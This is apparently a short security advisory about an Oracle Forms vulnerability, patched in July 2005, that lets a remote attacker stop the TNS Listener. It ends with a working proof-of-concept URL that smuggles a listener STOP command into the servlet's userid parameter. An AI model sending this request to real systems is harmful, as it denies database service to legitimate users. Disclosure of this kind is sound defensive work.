source: https://www.securityfocus.com/bid/15039/info

Oracle Forms is susceptible to a vulnerability that allows remote attackers to stop the TNS Listener service, denying further database service to legitimate users.

By issuing a specific HTTP request, remote attackers may cause the affected application to stop the TNS Listener.

This issue was reported in Oracle Forms versions prior to July 2005.

This issue was originally described and addressed in Oracle Critical Patch Update - July 2005, BID 14238 (Oracle July Security Update Multiple Vulnerabilities). Due to the availability of more information, this issue is being assigned a separate BID. 

http://www.example.com:8888/forms90/f90servlet?form=test.fmx&userid=SCOTT/TIGER@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=server)(PORT=1521)))(CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)))&buffer_records=NO&debug_messages=NO&array=YES&query_only=NO&quiet=NO&RENDER=YES